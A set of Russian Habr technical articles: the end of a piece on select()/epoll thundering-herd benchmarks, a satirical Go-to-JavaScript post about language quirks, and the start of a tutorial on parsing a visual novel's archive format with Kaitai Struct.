Наивный ответ: давайте обеспечим общий доступ к дескриптору файла и позволим нескольким процессам вызывать `accept()` одновременно! К сожалению, это приведет к *снижению* производительности.
Для иллюстрации проблемы я написал два фрагмента кода.
Во-первых, это программа [server.c](https://github.com/majek/dump/blob/master/select-sucks/server.c). Она привязывается к TCP-порту 1025 и перед блокировкой на `select` несколько раз создает форки. Псевдокод:
```
sd = socket.socket()
sd.bind('127.0.0.1:1025')
sd.listen()
for i in range(N):
if os.fork() == 0:
break
select([sd])
```
Для запуска 1024 форков, которые висят в select на одном связанном сокете:
```
$ ./server 1024
forks = 1024, dupes per fork = 1, total = 1024
[+] started
```
Вторая программа [client.c](https://github.com/majek/dump/blob/master/select-sucks/client.c) тривиальна. Она подключается к порту TCP, замеряя время. Чтобы лучше проиллюстрировать ситуацию, она выполняет неблокирующий вызов `connect(2)`. Теоретически это всегда происходит молниеносно быстро.
Однако есть одна оговорка. Поскольку соединение происходит через обратный цикл (loopback) с локальным хостом, пакеты будут обрабатываться линейно, во время обработки ядром системного вызова `connect`.
На практике измерение длительности неблокирующего `connect` показывает время диспетчеризации ядра. Мы измерим, сколько времени потребуется ядру, чтобы:
* создать новое соединение через loopback,
* найти соответствующий дескриптор прослушивающего сокета на принимающей стороне,
* поместить новое соединение в очередь на прием
* и оповестить процессы, ожидающие этот прослушивающий сокет.
Стоимость последнего шага пропорциональна количеству процессов, ожидающих этот сокет. Вот график, показывающий, что длительность системного вызова `connect` растет линейно с числом процессов, ожидающих `select` на прослушивающем сокете:
Вызов неблокирующего `connect()` к прослушивающему сокету, который совместно используется 16k процессами, занимает 35 миллисекунд на моей машине.
Эти результаты ожидаемы. Ядру нужно выполнять линейно больше работы для каждого процесса, который необходимо разбудить, для каждого из файловых дескрипторов, которые процесс блокирует в `select()`. Это также верно для `epoll()`.
### Экстремальный эксперимент
Давайте доведем этот эксперимент до крайности. Посмотрим, что происходит, когда у нас в цикле `select` ожидает не один прослушивающий сокет, а тысяча. Чтобы усложнить работу ядра, мы тысячу раз скопируем связанный сокет TCP-порта 1025 с помощью `dup()`. Псевдокод:
```
sd = socket.socket()
sd.bind('127.0.0.1:1025')
sd.listen()
list_of_duplicated_sd = [dup(sd) for i in xrange(1019)]
for i in range(N):
if os.fork() == 0:
break
select([sd] + list_of_duplicated_sd)
```
Это реализовано также в файле `server.c`:
```
marek:~$ ./server 1024 1019
forks = 1024, dupes per fork = 1019, total = 1043456
[+] started
```
На графике будет показана линейная стоимость, но с гораздо большим постоянным коэффициентом:
График подтверждает очень высокую стоимость такой настройки. При 16k запущенных процессах, каждый из которых с прослушивающим сокетом дублирован 1019 раз (итого 16М файловых дескрипторов) ядру требуется целых 1,5 секунды, для выполнения локального неблокирующего `connect()`.
Вот как все выглядит в консоли:
```
marek:~$ time nc localhost 1025 -q0
real 0m1.523s
marek:~$ strace -T nc localhost 1025 -q0
...
connect(3, {sa_family=AF_INET, sin_port=htons(1025), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress) <1.390385>
...
```
Такая настройка вызывает перегрузку машины. Наше единичное событие быстро переводит тысячи процессов Linux из "спящего" в состояние "готового к работе", в результате чего получаются интересные средние показатели нагрузки:
```
marek:~$ uptime
load average: 1388.77, 1028.89, 523.62
```
### Epoll exclusive на помощь
Это классическая проблема "громогласного стада". Она решается с помощью нового флага EPOLLEXCLUSIVE `epoll_ctl`. Он был добавлен совсем недавно в ядро 4.5. На [странице руководства](https://idea.popcount.org/2017-01-06-select-is-fundamentally-broken/man7.org/linux/man-pages/man2/epoll_ctl.2.html) написано:
> `EPOLLEXCLUSIVE` (начиная с Linux 4.5) устанавливает эксклюзивный режим пробуждения для файлового дескриптора `epoll`, присоединяемого к дескриптору таргет-файла, fd. Когда происходит пробуждение и несколько файловых дескрипторов epoll присоединяются к одному и тому же таргет-файлу с помощью `EPOLLEXCLUSIVE`, один или несколько дескрипторов файлов `epoll` получают событие с помощью `epoll_wait(2)`
>
>
Вот соответствующий патч ядра:
* <https://lwn.net/Articles/667087/>
Если я правильно понял код, он предназначен для улучшения среднего случая. Патч принципиально не решает проблему того, что диспетчеризация ядра требует затрат O(N) в зависимости от количества процессов/дескрипторов.
**Подведение итогов**
Я объяснил две проблемы с моделью мультиплексирования `select()`.
Она тяжеловесна. Требует постоянной регистрации и отмены процессов из файловых дескрипторов, потенциально тысяч дескрипторов, тысячи раз в секунду.
Другой сложностью является масштабируемость совместного использования сокетов процессами. В традиционной модели ядро будит все процессы, висящие на сокете, даже если требуется передать только одно событие. Это приводит к проблеме “громогласного стада” и множеству бесполезных пробуждений процессов.
Linux решает первую проблему с помощью системного вызова `epoll`, а вторую — с помощью "пластыря" `EPOLLEXCLUSIVE`.
Я думаю, что реальным выходом из ситуации является фундаментальное переосмысление мультиплексирования сокетов. Вместо того, чтобы накладывать "пластыри" на "Вариант 3)" из книги Кирка МакКьюсика (Kirk McKusick), мы должны сосредоточиться на "Варианте 4)" — интерфейсы kqueue и IOCP.
Но это тема для другой статьи.
---
> Совсем скоро состоится открытое занятие **«Паттерн Entity-Component-System в играх на C»**. На этом уроке мы познакомимся с часто применяемым в игровых приложениях архитектурным шаблоном Entity/Component/System и рассмотрим его реализацию на языке C на примере опенсорсной библиотеки flecs. Также мы изучим код несложной игры, использующей flecs на практике. Регистрируйтесь [**по ссылке.**](https://otus.pw/VGmw/)
>
> | https://habr.com/ru/post/689006/ | null | ru | null |
# Я перехожу на JavaScript
После того, как я 5 лет писал на Go, я решил, что мне пора двигаться дальше. Go хорошо послужил мне. Вероятно, это был лучший язык, которым я мог бы пользоваться столько времени, но теперь настал момент оставить Go.
Не могу сказать, что я насмотрелся на ограничения и проблемы Go. За годы работы не случилось ничего такого, что подтолкнуло бы меня к переходу на язык, лучше соответствующий требованиям завтрашнего дня, или на язык, вокруг которого сложилось более успешное сообщество.
[](https://habr.com/ru/company/ruvds/blog/499670/)
Мне не хотелось бы писать материал о том, почему я перешёл с Go на JavaScript, перечисляя минусы Go. Я полагаю, что подобные материалы оторваны от жизни и приносят читателям очень мало пользы. Поэтому я написал материал о том, что мне нравится в JavaScript, о том, что подвигло меня на переход.
Система типов и работа с числами
--------------------------------
В JavaScript очень долго не было целочисленного типа данных. В языке были только какие-то странные числа двойной точности, которые иногда сносно играли роль целых чисел. Теперь всё уже не так. Теперь в JavaScript есть и целые числа, и массивы целых чисел. Разные значения такого рода можно преобразовывать друг в друга. Всё это делает JS языком с самыми лучшими числовыми типами.
```
var sb = new ArrayBuffer(4)
var intArr = new Int32Array(sb)
intArr[0] = 1 << 16
// 65536
intArr[0]
// 65536
```
Это — именно то, чего я долго ждал: точные вычисления. Очень приятно знать, что выбранный тобой язык поддерживает такие возможности.
Но учитывайте то, что JavaScript на этом не останавливается, так как вышеозначенные возможности вполне обычны во многих других языках. Мы можем использовать `Int32Array` как `Int16Array`, и всё будет работать так, как ожидается, без выдачи исключений:
```
var sb = new ArrayBuffer(4)
var intArr = new Int32Array(sb)
intArr[0] = 1 << 16
// 65536
intArr[0]
// 65536
// Тут я использую тот же буфер
var shortArray = new Int16Array(sb)
shortArray[0]
// 0
shortArray[1]
// 1
```
Вы можете тут спросить: «Зависит ли результат от порядка следования байтов в системе, в которой выполняется код? А если так — почему я пользуюсь архитектурой, где сначала идёт старший байт?». А я на это отвечу: «Спасибо, что спросили. Хороший вопрос».
Теперь поговорим о ещё одной замечательной особенности этих целых чисел. А именно, переполнения, в отличие от любого другого языка, обрабатываются именно так, как этого можно ожидать:
```
var shortArr = new Int16Array(1)
var c = shortArr[0] = 1 << 15 // бонус: приятное множественное присваивание
c == shortArr[0]
// false
shortArr[0]
// -32768
c
// 32768
```
Полагаю, что к этому моменту я уже продемонстрировал мощь чисел в JavaScript, но, чтобы окончательно прояснить мою мысль, приведу ещё примеры.
Оператор получения остатка от деления (`%`) можно применять при работе с числами с плавающей точкой. И ведёт себя этот оператор именно так, как он и должен работать:
```
3.14 % 5
// 3.14
13.14 % 5
// 3.1400000000000006
```
Кроме того, массивы целых чисел легко сортировать, что называется, «на месте». При этом программисту даже не надо видеть стандартного кода, выполняющего сортировку. Это выгодно отличает JavaScript от многих языков со строгой статической типизацией:
```
[-2, -7, 0.0000001, 0.0000000006, 6, 10].sort()
// [-2, -7, 10, 1e-7, 6, 6e-10]
А синтаксис языка всегда чёток и интуитивно понятен:
(1,2,3,4,5,6) === (2,4,6)
true
```
Теперь давайте представим, что у нас есть строка, представляющая число, введённое пользователем. Это число нужно увеличить на единицу. Во многих языках для того чтобы это сделать, приходится тратить время, писать много муторного кода, выполняющего преобразование типов. В JavaScript же это делается так, что код получается изящным и читабельным:
```
var a = "41"
a += 1
// 411, неправильно, несбалансированно, странно.
var b = "41"
b -=- 1
// 42, а вот использование этой симметричной конструкции приводит к просто замечательному результату
```
Тут я обнаружил лишь одну вещь, которую трудно удержать в голове (но мне нужно будет к этому привыкнуть). Дело в том, что при работе с датами нужно учитывать то, что нумерация месяцев начинается с 0, а нумерация всего остального — с 1. Ничего другого, такого, что стоит запомнить, я не нашёл.
Подробности о типах
-------------------
Как оказалось, самая красота JavaScript — это, бесспорно, его система типов. Поэтому я потрачу тут ещё немного времени на рассказ о том, что мне удалось выяснить в ходе экспериментов с языком или благодаря знатокам JavaScript из Twitter.
Благодаря новой возможности языка, представленной оператором `??`, теперь можно писать [такой код](https://twitter.com/hashseed/status/1174238124756656128):
```
~~!![[]]||__``&&$$++<<((""??''))**00==ಠಠ--//\\
// 1
```
Нужна строка `banana`? [Внимательно](https://twitter.com/shadowcheets/status/1161012147884707840) относитесь к расстановке пробелов:
```
('b'+'a'++'a'+'a').toLowerCase()
// Uncaught SyntaxError: Invalid left-hand side expression in postfix operation
('b' + 'a' + + 'a' + 'a').toLowerCase()
// "banana"
```
Нравится писать «однострочники»? JavaScript вам в этом [поможет](https://twitter.com/_jayphelps/status/1230538121743360001):
```
// Лучший код - это краткий код
input ?? obj?.key ? 'yes' : 'no'
```
А вот — моё любимое. Я вообще без ума от [регулярных выражений](https://blogtitle.github.io/regexp-fun/). А в JavaScript есть много такого, что никому [не даст скучать](https://twitter.com/brianloveswords/status/1225459820746149889):
```
var re = /a/g
re.test('ab')
// true
re.test('ab')
// false
re.test('ab')
// true
```
Операторы в JS иногда не отличаются коммутативностью. Помните об этом:
```
{property: "value"} && {property: "value"}
// {property: "value"}
Date() && Date()
// "Wed Apr 1 2020 00:01:00 GMT+0100 (Central European Standard Time)"
Date() && {property: "value"}
// {property: "value"}
{property: "value"} && Date()
// Uncaught SyntaxError: Unexpected token '&&'
```
Типы могут меняться в самых неожиданных местах, что помогает программисту не заснуть во время долгих рабочих ночей:
```
typeof([1][0])
// number
for(let i in [1]){console.log(typeof(i))}
// string
```
Даже значения могут меняться только от того, что мы к ним обращаемся. Это, опять же, помогает продуктивно трудиться:
```
const x={
i: 1,
toString: function(){
return this.i++;
}
}
if(x==1 && x==2 && x==3){
document.write("This will be printed!")
}
```
Я могу тут приводить и другие примеры, демонстрирующие лёгкость чтения и понимания JavaScript-кода, но я закончу этот раздел следующим примером, который предусматривает работу с DOM:
```
document.all
// HTMLAllCollection(359) [html.inited, head, …]
document.all == true
// false
document.all == false
// false
```
Углубляемся в кроличью нору
---------------------------
Теперь представляю вам более серьёзный раздел этого материала. Обычно мне нравится лезть вглубь тех инструментов и языков, которыми пользуюсь. Лучший способ с чем-то разобраться — задавать вопросы коллегам и друзьям.
Я недавно начал работать с [одним человеком](https://twitter.com/terjanq). Он прислал мне этот прекрасный фрагмент JS-кода:
```
(function({substr}){return substr.call})("")
// function call()
var x = (function({substr}){return substr.call})("")
// undefined
x.name
// "call"
x + ""
// "function call() {
// [native code]
// }"
typeof x
// "function"
x("this is a string")
// TypeError: Function.prototype.call called on incompatible undefined
```
На этом он не остановился и прислал мне ещё вот это:
```
(function(){return this}.call(1)) == (function(){return this}.call(1))
// false
```
Последняя капля: конкурентность
-------------------------------
Когда я дошёл до этого, я, в общем-то, уже был уверен в том, что мне необходимо перейти на JavaScript.
Последним, что мне хотелось проверить, было то, что мне нравится больше всего: конкурентность и параллелизм.
Полное отсутствие в JavaScript стандартной библиотеки, непредсказуемая система типов, странно ведущие себя операторы, изменение состояния сущностей при их сравнении и молчание системы при ошибках компиляции — это прочный фундамент, как раз то, к чему я обычно стремлюсь, создавая свои проекты. Но мне, прежде чем принять окончательное решение, нужно было увериться в том, что конкурентность и параллелизм в JavaScript ведут себя так же хорошо.
Так как я иду в JavaScript из Go — мне было [очень легко](https://play.golang.org/p/f_kSJ65nyba) понять причину, по которой этот код три раза выводит 3:
```
for (i = 1; i <= 2; ++i) {
setTimeout(function(){
console.log(i);
}, 0);
}
```
Но я должен признать, что результаты работы следующего фрагмента кода, на первый взгляд, не отличаются тем же уровнем интуитивной понятности:
```
console.log(0)
setTimeout(_ => console.log(1), 0)
requestAnimationFrame(_ => console.log(2))
Promise.resolve().then(_ => console.log(3))
console.log(4)
// 0
// 4
// 3
// 2
// 1
```
Всё становится гораздо [яснее](https://www.youtube.com/watch?v=cCOL7MC4Pl0) в том случае, если учесть, что тут мы вызываем две синхронных функции, планируем «макро-задачу», запускаем «микро-задачу» и сообщаем браузеру о том, что хотим произвести анимацию.
Полагаю, зная это, ничего не стоит понять механизмы конкурентного исполнения кода в JavaScript. А как насчёт параллелизма?
Вот код, которым я собираюсь тут пользоваться. Благодарю за него [codediodeio](https://github.com/codediodeio/async-await-pro-tips/blob/master/2-create-promise.ts).
```
// Этот код предназначен для логирования сведений о прошедшем времени:
const start = Date.now();
function log(v){console.log(`${v} \n Elapsed: ${Date.now() - start}ms`);}
// Тут запускаем тяжёлую задачу, блокирующую текущий поток
function doWork(){
for(let i = 0; i < 1000000000; i++); // обратите внимание на точку с запятой
return 'work done';
}
log('before work');
doWork();
log('after work');
// before work
// Elapsed: 0ms
// after work
// Elapsed: 624ms
```
Этот код позволяет узнать о том, сколько времени уходит на выполнение задачи в синхронном режиме.
Давайте теперь попробуем воспользоваться промисом:
```
function doWork(){
return new Promise((resolve, reject) => {
for(let i = 0; i < 1000000000; i++);
resolve('work done');
})
}
log('before work');
doWork().then(log);
log('after work');
// before work
// Elapsed: 0ms
// after work
// Elapsed: 637ms
// work done
// Elapsed: 637ms
```
Здесь мы сталкиваемся с той же проблемой. Кто-то может тут возразить, сказав, что проблема заключается в том, что код всё ещё выполняется как «макро-задача», или в том, что данная задача блокирует всё тот же поток. Поэтому давайте переработаем код так, чтобы весь тяжёлый цикл выполнялся бы в виде «микро-задачи»:
```
function doWork(){
// Добавление `resolve` приводит к выполнению этого в задаче другого вида
return Promise.resolve().then(v => {
for(let i = 0; i < 1000000000; i++);
return 'work done';
})
}
log('before work');
doWork().then(log);
requestAnimationFrame(()=>{log('time to next frame')});
log('after work');
// before work
// Elapsed: 0ms
// after work
// Elapsed: 1ms
// work done
// Elapsed: 631ms
// time to next frame
// Elapsed: 630ms
```
Если посмотреть на первые строки вывода, то возникнет такое ощущение, что проблему мы решили. Но это не так. Мы просто переместили работу в следующий доступный слот выполнения в главном потоке. Мы, может быть, смогли выполнить какой-то объём нашего синхронного кода быстрее, но асинхронный код всё ещё влияет на время, необходимое на обработку кадра, в результате приложение не реагирует на воздействия пользователя примерно полсекунды.
Это — кое-что такое, что меня прямо-таки поразило: если у нас имеются тяжёлые вычисления, которые нужно выполнить в JavaScript, то они заблокируют главный поток и замедлят интерфейс приложения. Можно найти множество видеоматериалов и учебных руководств о том, как пользоваться конструкцией async/await или промисами для решения этой задачи, но все они будут не в тему. Эти примитивы дают возможность конкурентного, а не параллельного выполнения кода. Единственный вид промисов, которые я смог запустить в настоящем параллельном режиме, это встроенные промисы браузера, вроде `fetch`. А то, что описано в коде, никогда не будет выполняться параллельно.
Как же выполнять код в параллельном режиме? Надо создать [веб-воркер](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) — нечто вроде потока из других языков. Это — отличная новая возможность, которая вводит в JavaScript так необходимое в этом языке состояние гонок параллельное выполнение кода.
Пользоваться веб-воркерами очень просто: надо поместить код, который планируется запускать параллельно, в отдельный файл, а потом — создать экземпляр нового воркера, с которым можно обмениваться данными, используя `postMessage`. Это даёт нам настоящий параллелизм. Всё, кроме того, [хорошо документировано](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers) на MDN. Всё это выглядит несколько громоздко? Да, это так, но это — возможность, которая есть в распоряжении программиста. Кроме того, создаются [библиотеки](https://github.com/GoogleChromeLabs/comlink), которые облегчают использование этого примитива. В конце концов — что плохого в ещё одной дополнительной [зависимости](https://en.wikipedia.org/wiki/Supply_chain_attack)?
Так как в JavaScript теперь есть эта замечательная возможность, это значит, что в языке должны быть предусмотрены механизмы, представленные примитивами для оркестрации или синхронизации асинхронных задач. Верно? Верно. Язык даёт нам [postMessage](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) и [MessageChannel](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel) (это похоже на `chan`), что очень хорошо. Если пользоваться только этими механизмами, в вашем коде никогда не случится «гонка потоков», в этом коде будет очень легко ориентироваться, о нём будет легко рассуждать. Чудно.
Однако если вам нужно что-то более производительное, что-то такое, чему не нужно вызывать события и ожидать планирования коллбэков, если вам нужно, чтобы что-то работало по-настоящему быстро, тогда к вашим услугам [SharedArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer). Речь идёт о фрагментах памяти, которые можно совместно использовать в разных потоках, выполняя над данными из этих фрагментов [атомарные](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Atomics) операции. Нет ни `Mutex`, ни `select`, ни `WaitGroup`. Если вам нужны эти примитивы — вам понадобится самим их написать ([как я](https://blogtitle.github.io/using-javascript-sharedarraybuffers-and-atomics/)). Как вам это понравится? Этот API даже возвращает значения, которые [невозможно](https://github.com/tc39/ecma262/issues/1492) использовать правильно!
Да, в конце концов, кому понравится лёгкая работа‽ (Это — вопроцательный знак, который пока ещё не относится к числу операторов JavaScript).
Итоги
-----
JavaScript — это зрелый язык, который даёт мне всё, что мне нужно: конкурентность, параллелизм, строго типизированные переменные. Более того, JS оживляет программирование и делает работу веселей, выдавая всякие непредсказуемые и таинственные вещи без каких-либо дополнительных библиотек, что называется, «из коробки». В результате тому, кто пишет на JavaScript, не будет скучно при отладке. Что тут может не понравиться?
**Уважаемые читатели!** Планируете ли вы переходить на JavaScript с того языка, на котором пишете сейчас?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/499670/ | null | ru | null |
# Реверс-инжиниринг визуальных новелл
Хочу признаться: я обожаю визуальные новеллы. Кто не в курсе — это такие то ли интерактивные книжки, то ли игры-в-которых-надо-в-основном-читать-текст, то ли радиоспектакли-с-картинками, преимущественно японские. Последние лет 5, наверное, художественную литературу в другом формате толком не вопринимаю: у визуальных новелл по сравнению с бумажными книгами, аудио-книгами и даже сериалами — в разы большее погружение, да и сюжет регулярно куда интереснее.
А еще я с детства обожаю разбираться в том, как устроены вещи и что у них внутри. Начинал с первых сломанных игрушек, дорос до реверс-инжиниринга и вирусного аналитика в одной не самой маленькой компании. И пришло мне в голову — почему бы не попробовать совместить эти вещи? Посмотреть, что у визуальных новелл внутри и разобраться, на основе чего работает тот или иной движок?
А тут как раз недавно вышел релиз [Kaitai Struct](http://kaitai.io) — это такой новый фреймворк для реверс-инжиниринга бинарных структур данных (хотя авторы активно отпираются, говоря, что они это все только в мирных целях). Идея там банальная, но подкупает: декларативно описываешь на некоем языке разметки структуру данных — и тут же получаешь готовую библиотеку классов для парсинга на любом поддерживаемом языке программирования. В комплекте прилагаются визуализатор (чтобы легче было проверять) и, собственно, компилятор. Что ж, попробуем, на что оно годится?
В качестве разминки, а заодно для того, чтобы показать типовые действия, с которыми придется столкнуться в реверс-инжиниринге, предлагаю начать с чего-нибудь не очень тривиального, а именно с чудесной визуальной новеллы [Koisuru Shimai no Rokujuso](https://vndb.org/v13353) (в оригинале — 恋する姉妹の六重奏) авторства широко известных в узких кругах PeasSoft. Это забавная, ненапрягающая романтическая комедия, с традиционно для PeasSoft красивой визуальной частью. С точки зрения реверсинга — меня она зацепила еще и тем, что использует не сильно распространенный и никем вроде бы еще не исследованный собственный движок. А это как минимум интереснее, чем ковыряться в уже напрочь замученных и растащенных по полочкам [KiriKiri](http://kikyou.info/tvp/) или [Ren'Py](https://www.renpy.org/).
Первым делом приведу список инструментов, которые нам потребуются:
* [Kaitai Struct](http://kaitai.io) — компилятор и визуализатор к нему
* [Java JRE](https://java.com/download) — к сожалению, Kaitai Struct написан на Java на Scala и ее требуеттребует либо JRE, либо node.js, но с node.js я не пробовал
* любой из языков программирования, поддерживаемый KS (на данный момент это Java, JavaScript, Ruby, Python) — я буду использовать [Ruby](https://www.ruby-lang.org/), но это не столь принципиально, на нем мы напишем листер и экстратор в самом конце
* какой-нибудь хекс-редактор — по большому счету, не важно какой, они все неидеальные; в принципе, хекс-редактор есть внутри визуализатора KS, но он тоже не самый удобный; я лично пользуюсь [okteta](https://utils.kde.org/projects/okteta/) (просто потому, что там есть по-человечески удобный копи-паст) — но пойдет почти все, что угодно — была б возможность смотреть дамп, переходить по заданному адресу и быстро скопировать выделенный кусок в отдельный файл
Дальше нужен сам продукт исследования — дистрибутив визуальной новеллы. Здесь тоже повезло: PeasSoft на своем сайте выкладывает для совершенно легального бесплатного скачивания триальные версии, которых нам вполне хватит для ознакомления с форматами. На сайте нужно найти такую вот страничку:
Обведенное синим — на самом деле ссылки на мирроры (все одинаковые), где дают скачать триал.
Скачав и распаковав дистрибутив, мы начнем со сбора информации. Давай подумаем, что мы уже знаем о нашем экспонате. Во-первых, платформа. По крайней мере та версия, что раздается на сайте, работает под Windows на процессорах Intel (вообще есть еще версия под Android, но на практике она продается только в маркетах приложений у японских сотовых операторов, плюс ее нетривиально вытащить с телефона). Из того, что это Windows/Intel вытекают несколько весьма вероятных вещей:
* целые числа в бинарных форматах будут кодироваться в little-endian
* программисты под Windows в Японии до сих пор живут в каменном веке пользуются кодировкой Shift-JIS
* концы строчек, если мы их когда-то встретим в явно виде, будут обозначаться "\r\n", а не просто "\n"
Беглый осмотр распакованного и установленного показывает, что добыча состоит из:
* data01.ykc — 8393294
* data02.ykc — 560418878
* data03.ykc — 219792804
* sextet.exe — 978944
* AVI/op.mpg — 122152964
Т.е. здесь один небольшой exe-шник (очевидно, с движком), нескольких гигантских файлов .ykc (вероятно, архивов с контентом) и op.mpg — видеофайл с заставкой (в чем можно убедиться сразу, открыв его любым плеером).
Полезно быстренько визуально осмотреть exe-файл в хекс-редакторе: современные разработчики даже достаточно адекватны и зачастую пользуются готовыми библиотеками для работы с изображениями, звуками и музыкой. А такие библиотеки, как правило, при компиляции оставляют некие видимые невооруженным глазом сигнатуры. Что стоит искать:
* "libpng version 1.0.8 — July 24, 2000" — используется libpng, значит картинки будут в формате png
* "zlib version error", "Unknown zlib error" — означает, что будет использоваться сжатие zlib; на самом деле может быть ложным следом, т.к. zlib-сжатие используется при кодировании png; пока не будем делать далекоидущих выводов
* "Xiph.Org libVorbis I 20020717" — libvorbis, а это означает, что музыка, речь и звуки будут скорее всего в ogg/vorbis
* "Corrupt JPEG data", "Premature end of JPEG file" — строчки из libjpeg; если есть — значит, движок скорее всего умеет еще и картинки в формате jpg
* "D3DX8 Shader Assembler Version 0.91" — где-то внутри что-то использует шейдеры D3DX8
* россыпь сообщений типа "Microsoft Visual C++ Runtime Library", "`local vftable'", "`eh vector constructor iterator'" и т.д. говорит нам о том, что компилировалось линковалось это с Microsoft'овской C++ библиотекой, и, скорее всего, написано на C++; при желании можно покопаться и узнать даже конкретную версию, но сейчас нам это особенно ни к чему — мы не собираемся ее дизассемблировать или что-то такое, у нас абсолютно честный clean room
Еще можно поискать строчки типа "version", "copyright", "compiler", "engine", "script" — причем, т.к. это Windows-файл, не забывать делать это еще и в двухбайтовых кодировках типа UTF16-LE — иногда может найтись еще что-нибудь интересное. У нас находится, например, "Yuka Compiler Error", "YukaWindowClass", "YukaApplicationWindowClass", "YukaSystemRunning", а также упоминания "start.yks", "system.ykg". Из всего этого логично предположить, что сами программисты называли свой движок как-то типа "Yuka", а всякие типы файлы, используемые им, все начинаются с yk — ykc, yks, ykg. Еще находится "CDPlayMode" и "CDPlayTime" — из чего можно предположить, что движок умеет играть музыку с дорожек Audio CD, а еще "MIDIStop" и "MIDIPlay" — из чего можно предположить поддержку музыки в MIDI.
По нашей новелле в сухом остатке получается достаточно оптимистичная картина:
* картинки в форматах png и jpg, что сразу на порядок облегчает задачу — скорее всего не нужно будет копаться в кастомных форматах сжатия картинок
* музыка, речь и звуки — скорее всего в ogg (но может быть и MIDI, и CDDA — хотя вряд ли, т.к. физического носителя нет)
Первоначальные сведения собраны — теперь можно засучить рукава и нырять в файлы. Файлов, на самом деле, несколько — и это тоже хорошо. Вообще в реверс-инжиниринге зачастую очень важным становится чисто статистический вопрос, когда изучаемого объекта можно достать более одного в различных вариациях и посмотреть, чем же они отличаются. Гораздо сложнее гадать, что же значит очередной 7F 02 00 00, когда он у тебя ровно один.
Проверяем, один ли и тот же формат у файлов. Судя по тому, что все они — data\*.ykc — один. Смотрим внутрь на начало файла: все начинается с "YKC001\0\0" — очень хорошо, похоже, что это действительно архивы одного и того же формата.
Быстро эмпирически проверим, используется ли какое-то сжатие. Берем любой архиватор, пытаемся сжать файл и смотрим, сколько было до и сколько стало после. Я тупо использовал zip:
* до — 8393294
* после — 6758313
Сжимается, но не сильно. Скорее всего таки или сжатия нет, или оно есть не для всех файлов. С другой стороны, если в архиве какие-нибудь png или ogg —они же уже сжатые, zip'ом сжиматься они сильнее не будут.
Из общих соображений, у практически любого архива есть какой-то заголовок, есть, как правило, каталог содержимого архива (относительно небольшой), и 99% архивного файла занимает, собственно содержимое — вложенные файлы или блоки данных. Заголовок, кстати, не обязательно начинается прямо с начала файла — может быть с сколько-нибудь отступив от конца файла или сколько-нибудь (обычно немного) — от начала. Крайне редко можно встретить, чтобы файл начинали с места в карьер читать из середины.
Смотрим на начало файлов. Видим примерно следующую картину:
* `59 4B 43 30 │ 30 31 00 00` — это явно просто сигнатура файла, в ASCII это "YKC001", скорее всего обозначает что-нибудь типа "Yuka Container", версии 001
* `18 00 00 00 │ 00 00 00 00 │ 1A 00 80 00 │ 34 12 00 00` — видимо, это и есть заголовок
* дальше явно начинается тело какого-то файла внутри архива; особенно хорошо это видно в data02.ykc — там идут строчки какого-то то ли конфига, то ли скриптового языка: "WindowSize = 1280, 800", "TransitionWaitType = 2" и т.д.; т.е. дальше смотреть бессмысленно
Смотрим на то, как выглядит заголовок во всех трех имеющихся у нас файлах:
* data01.ykc: `18 00 00 00 │ 00 00 00 00 │ 1A 00 80 00 │ 34 12 00 00`
* data02.ykc: `18 00 00 00 │ 00 00 00 00 │ 4E E1 66 21 │ F0 6E 00 00`
* data03.ykc: `18 00 00 00 │ 00 00 00 00 │ 5C E1 18 0D │ 48 E4 00 00`
Что такое "18 00 00 00 │ 00 00 00 00" — пока непонятно, но оно везде одинаковое. Гораздо интереснее остальные 2 поля — это явно два 4-байтовых целых числа. Кажется, пора доставать Kaitai Struct и начинать описывать полученные догадки в виде ksy-формата:
```
meta:
id: ykc
application: Yuka Engine
endian: le
seq:
- id: magic
contents: ["YKC001", 0, 0]
- id: magic2
contents: [0x18, 0, 0, 0, 0, 0, 0, 0]
- id: unknown1
type: u4
- id: unknown2
type: u4
```
Вроде бы ничего сложного. ksy — на самом деле обычные YAML-файлы. Секция "meta" описывает, над чем мы собственно работаем и что мы собрали по итогам нашего предварительно расследования — т.е. что мы разбираем файлы "ykc", предположительно обрабатывает их приложение под названием "Yuka Engine" (поле "application" вроде бы ни на что не влияет, это как комментарий), и по умолчанию целые числа будут в little endian формате (endian: le).
Дальше идет описание того, как парсить файл и какие структуры данных мы в нем обнаружили — это задается массивом полей в секции "seq". Каждое поле обязано иметь id (и это логично, мы ради этого и работаем, чтобы понять, что где лежит) и описание содержимого. Тут мы использовали две конструкции:
* Конструкция типа `contents: [0x18, 0, 0, 0, 0, 0, 0, 0]` задает поле с фиксированным содержимым. Работает это так: из содержимого автоматически следует его длина, плюс KS автоматически сделает проверку и выбросит exception, если при чтении такого поля содержимое не будет соответствовать ожидаемому
* Конструкция типа `type: u4` задает поле типа "целое беззнаковое (\_u\_nsigned) число, длина 4 байта". Endianness при этом такой, как мы указали в meta.
Загружаем теперь наш новоиспеченный формат в визуализатор:
```
ksv data01.ykc ykc.ksy
```
и лицезрим для data01.ykc:
Да, визуализатор работает в консоли, можно начинать ощущать себя хакером. Но сейчас нас интересует дерево структур:
```
[-] [root]
[.] @magic = 59 4b 43 30 30 31 00 00
[.] @magic2 = 18 00 00 00 00 00 00 00
[.] @unknown1 = 8388634
[.] @unknown2 = 4660
```
В визуализаторе можно стрелочками ходить по полям, можно переключаться в hex viewer и обратно нажатием Tab, а нажатием Enter можно проваливаться в содержимое полей, раскрывать instances (о них будет ниже) и просматривать хекс-дампы на полный экран. Для экономии места и времени я ниже скриншоты визуализатора больше показывать не буду, буду показывать только часть с деревом текстом.
Смотрим для data02.ykc:
```
[-] [root]
[.] @magic = 59 4b 43 30 30 31 00 00
[.] @magic2 = 18 00 00 00 00 00 00 00
[.] @unknown1 = 560390478
[.] @unknown2 = 28400
```
для data03.ykc:
```
[-] [root]
[.] @magic = 59 4b 43 30 30 31 00 00
[.] @magic2 = 18 00 00 00 00 00 00 00
[.] @unknown1 = 219734364
[.] @unknown2 = 58440
```
